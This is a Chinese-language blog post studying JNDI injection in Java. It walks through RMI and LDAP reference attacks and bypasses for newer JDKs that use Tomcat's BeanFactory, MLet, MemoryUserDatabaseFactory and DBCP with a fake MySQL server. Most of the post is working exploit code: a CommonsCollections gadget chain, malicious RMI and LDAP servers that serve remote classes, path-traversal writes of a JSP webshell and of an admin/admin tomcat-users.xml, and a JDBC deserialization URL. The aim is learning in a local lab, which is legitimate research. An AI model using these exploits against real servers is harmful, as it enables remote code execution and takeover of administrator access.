https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

JNDI注入学习

JNDI注入学习

JNDI我理解就是给资源起个名字,再根据名字来找资源,而资源又存在多种类型,如LDAP,RMI,DNS,CORBA

JNDI+RMI

JNDI客户端可以直接访问RMI服务(无引用)

RMI服务端,我们绑定remoteObj在注册中心,代码未变

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        RemoteObjImpl remoteObj = new RemoteObjImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("remoteObj", remoteObj);
    }
}

JNDI客户端

public class JDNIClient {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        IRemoteObj remoteobj = (IRemoteObj) 		ctx.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteobj.sayHello("hello"));
    }
}

成功执行,和RMI服务一致,跟进看看代码,重点看lookup,通过上下文找到RMI.registry调用原生lookup。所以JNDI服务中存在了RMI攻击,比如我们能控制JNDI客户端lookup中的参数即可伪造恶意RMI服务端完成攻击.

image-20250426202433024

JNDI中的RMI攻击

攻击rmi的其实就是攻击原生lookup,两种思路,返回恶意异常类(ysoserial.exploit.listener),第二返回恶意对象,之前的文章都说过

image-20250425124542793

image-20250425124751480

image-20250425124919587

第二种攻击:

被攻击者作为客户端通过lookup访问我们的恶意注册中心。反序列化处也是如上所说的反序列化了恶意的返回类,所以我们得绑定这个恶意类,可以结合之前的代码简单的改动,和RMI篇中通过代理伪造绕过bind中Remote代码一样,然后得实例化出RegistryImpl,反射修改

public class RMIServer {
    public static void main(String[] args) throws Exception {

        //CC1
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        InvocationHandler invocationHandler2 = (InvocationHandler)constructor.newInstance(Override.class, proxyMap);

        //生成Remote委托类
        Remote remote = (Remote)(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[]{Remote.class},
                invocationHandler2
        ));
        //实例化本地的注册中心
        RegistryImpl registry1 = new RegistryImpl(1099);
        //通过反射修改其中的bingings,注入恶意的
        Field bindingsField = registry1.getClass().getDeclaredField("bindings");
        bindingsField.setAccessible(true);
        Map<String, Remote> bindings = (Map<String, Remote>) bindingsField.get(registry1);
        bindings.put("remote",remote);
        //必须得加
        Thread.currentThread().join();
    }
}

image-20250425135814160

学习完JNDI中的RMI攻击后,这并不是JNDI注入

另一种使用JNDI的方式,使用引用,这个引用可以在RMI服务端直接就绑定,或者通过JNDI服务端重绑,这里通过后者演示

加入一个JNDI服务端

Reference的构造函数中依次为classname,factory,factoryLocation

public class JNDIServer {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("Evil","Evil","http://localhost:8080/Evil");
        initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
    }
}
public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

Evil类编译成字节码,用python开启一个http服务即可

image-20250424210719524

运行客户端,成功执行,这便是JNDI注入

image-20250424210845749

整个流程是这样的,ldap换为rmi即可

1575162-20220228165020817-1872876642

首先看JNDI服务端中的操作,创建了一个Reference对象然后rebind,跟进代码发现同样是使用原生的rebind,从这个角度来JNDI服务端和RMI服务端可以互相攻击,但是由于JNDI注入中,这两者都是我们伪造的也就没有什么意义了,然后顺便看看后面的encodeObject

image-20250426204407687

后面也很简单,因为Reference是不继承Remote,所以得封装成ReferenceWrapper,也就是取消JNDI服务端的话可以直接在RMI服务端上绑定ReferenceWrapper即可

image-20250426204536962

接着看看如何导致最后加载恶意字节码的,lookup是返回了一个ReferenceWrapper_Stub,可想而知是JNDI服务端操作的,接着看重点的decodeObject

image-20250426204808962

首先会判断是不是远程引用类然后进入getObjectInstance

image-20250426204906236

我们注意动态代理和引用有产生什么不同,如果是引用,说明我们还需要加载,所以会进入getObjectFactoryFromReference

image-20250426205047354

进行两次类加载,factoryName也就是我们的Evil类

image-20250426205154729

第一次本地加载

image-20250426205258283

第二次远程加载恶意类,

image-20250426205316105

最后执行化导致恶意类执行,可以看出jndi是不需要任何依赖的,只需要依赖jdk版本

image-20250426205343153

到了JDK 6u132, JDK 7u122, JDK 8u113做了升级无法使用JNDI注入+RMI,我们来看看做了哪些限制

即引入了trustURLCodebase属性,默认为false,即导致了无法进入,只能本地加载,因为本地加载我们可以让

classFactoryLocation=null,然后加载其classFactory

image-20250426205845644

而jdk却对ldap进行了遗漏了,没有对ldap做任何的限制,导致了在jdk<=8u191之前仍然可以通过ldap绕过限制

此处没有什么好说的,对ldap也没有像rmi一样深入研究,copy网上的代码即可命令执行

public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://localhost:8080/#Evil"};
        int port = 7777;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

在jkd8u191时,对其做了限制,在url远程加载时再次加入trustURLCodebase.

com.sun.jndi.rmi.object.trustURLCodebase=false
com.sun.jndi.cosnaming.object.trustURLCodebase=false
com.sun.jndi.ldap.object.trustURLCodebase=false

image-20250426210352142

JNDI高版本Bypass

https://tttang.com/archive/1405/ 以后的部分就是对浅蓝师傅的文章进行复现分析

远程加载也就是彻底行不通了,我们只能从本地的加载类去利用了

即此处可以为null,

image-20250426210613884

我们的ref仍然是可控的,也就是加载的类以及factory都是可控,可不可以使用本地加载factory,然后调用factory.getObjectInstance

image-20250426210730860

BeanFactory+ELProcessor

即我们在这里找到了BeanFactory这个类,正好也拥有此函数,tomcat中的类org.apache.naming.factory.BeanFactory

<dependency>
           <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.5.23</version> 
 </dependency>
 <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>8.5.23</version> 
 </dependency>

image-20250426210900320

image-20250426210955409

这里建议直接把poc复制了然后边调试边学习(代码出处JNDI Bypass - R0ser1 - 博客园),其实就是构造恶意代码,利用这个方法中存在反射调用

public class jndi_bypass_el {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);

    }
}

直接调试,看看里面代码需要怎么构造,就知道了这个poc为何这样写,加载了本地指定的类后进入其getObjectInstance

image-20250426212729351

这里发现了实例化了我们的指定类,如果目标的服务器上存在恶意字节码就好,可以直接加载(随口一提)

image-20250426213435117

获取forceString 对应的Content

image-20250426213124305

反射获取eval方法,而此时的paramTypes为上面代码中写死的String类型

image-20250426213318545

之后invoke反射调用方法,valueArray值也是可控的。通过ELProcessor命令执行。

其实可以看出不只是能够利用ELProcessor,我们可以加载本地的任意一个类,调用方法为String类型,其他的就不赘述了(GroovyClassLoader等)探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖

image-20250426213537790

BeanFactory+MLet

有一个不太一样的是这个类javax.management.loading.MLet,这个可以用来探索存在的链子

addURL函数,加入URLClassload中

image-20250426214941059

其父类的loadClass正好远程加载。但只能加载类不能实例化的话是无法执行恶意代码的,但是可以用来探测存在的gadget。

image-20250426215349488

原理是这样,我们先去加载我们要探索的gadget,然后远程再加我们的类,如果没有报错,说明成功加载也就是存在,如果不存在,第一步就会报错抛异常,无法加载

poc:

public class MLetJNDI {
    public static void main(String[] args) throws Exception {
        ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
        ref.add(new StringRefAddr("a", "org.apache.commons.collections.functors.InvokerTransformer"));
        ref.add(new StringRefAddr("b", "http://127.0.0.1:8888/"));
        ref.add(new StringRefAddr("c", "Evil"));
        Registry registry = LocateRegistry.createRegistry(1099);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
    }
}

我的环境有cc,没有cb

image-20250426220308807

这里只是最后转化报错,确实是正确的加载了

image-20250426220609799

MemoryUserDatabaseFactory

而对于工厂的利用还有org.apache.catalina.users.MemoryUserDatabaseFactory类

xxe

里面存在MemoryUserDatabase.open函数,获取输入流然后解析xml文件,这里的输入流是我们控制的,存在xxe注入

image-20250428173824602

poc:

public class JNDI_XXE {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        resourceRef.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/xxe.xml"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Exploit", referenceWrapper);
    }
}

但由于是无回显的,所以要利用到xxe的外带,引入dtd

image-20250428173750741

rce

还能够进行rce,在解析之前有一段规则的引入,填入users、groups、roles,后面写文件时取出

image-20250428174223300

接着save方法中存在一个路径判断由于我们的pathname是一个远程url,也就是而已文件存放处而这里的catalina.base+pathname,为D:\Environment\Tomcat\apache-tomcat-8.5.57+http:10.10.10.10:8888\evil,如何让本机存在,通过路径穿越实现,即D:/Environment/Tomcat/apache-tomcat-8.5.57/http://127.0.0.1:8888/../../webapps/ROOT/evil.jsp

经过两次跳转后变成D:/Environment/Tomcat/apache-tomcat-8.5.57/webapps/ROOT/evil.jsp

image-20250506150838934

即两种思路,直接写webshell,也就是如下evil.jsp

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
</tomcat-users>

tomcat8不能,会进行html编码,tomcat7可以rce

public class evilMemory {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
                null, "", "", false,
                "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/evil.jsp"));
        ref.add(new StringRefAddr("readonly", "false"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
    }
}

本地创建相同目录并开启http服务即可

image-20250506152149432

部署war包在tomcat上

image-20250506152341155

第二,如果存在manage/html界面,可以通过覆盖写conf/tomcat-users.xml

public class evilMemory {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",
                null, "", "", false,
                "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
        ref.add(new StringRefAddr("readonly", "false"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
    }
}

tomcat-users.xml

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="manager-jmx"/>
  <role rolename="admin-script"/>
  <role rolename="admin-gui"/>
  <role rolename="manager-script"/>
  <role rolename="manager-status"/>
  <role rolename="manager-gui"/>
  <user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>

直接admin,admin登录

image-20250506152416120

JDBC-RCE

先了解一下JDBC反序列化原理

JDBC在连接数据库时会反序列化收到的数据,而如果我们能控制jdbc的语句,也就能搭建一个恶意的数据库发送恶意数据导致rce

如下mysql版本(测试版本tomcat8)

<dependencies>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.12 </version>
    </dependency>
</dependencies>

在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor存在漏洞,这是一个拦截器,调用resultSetToMap

image-20250506154220518

而其中会调用ResultSetImpl#getObject然后反序列化

image-20250506154300055

如何构造恶意mysql这里不分析了https://github.com/4ra1n/mysql-fake-server,用别人写的工具即可

而ObjectFactory 的实现类存在着实例化数据源的如org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory

image-20250506161706410

需要目标服务器存在数据库连接依赖以及存在反序列化链

image-20250506163407488

public class JNDI_MYSQL {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.sql.DataSource",
                null, "", "", false,
                "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);
        ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
        ref.add(new StringRefAddr("url", "jdbc:mysql://127.0.0.1:13240/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc"));
        ref.add(new StringRefAddr("username", "deser_CC31_calc"));
        ref.add(new StringRefAddr("initialSize", "1"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
    }
}

FakeServer

image-20250506163500154

成功弹出计算器

image-20250506163343239

参考:

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖

java高版本下各种JNDI Bypass方法复现 - bitterz - 博客园

https://www.cnblogs.com/R0ser1/p/17105579.html

java-JNDI(二)高版本绕过 - LingX5 - 博客园

posted @ 2025-05-06 16:52  kudo4869  阅读(217)  评论(0)    收藏  举报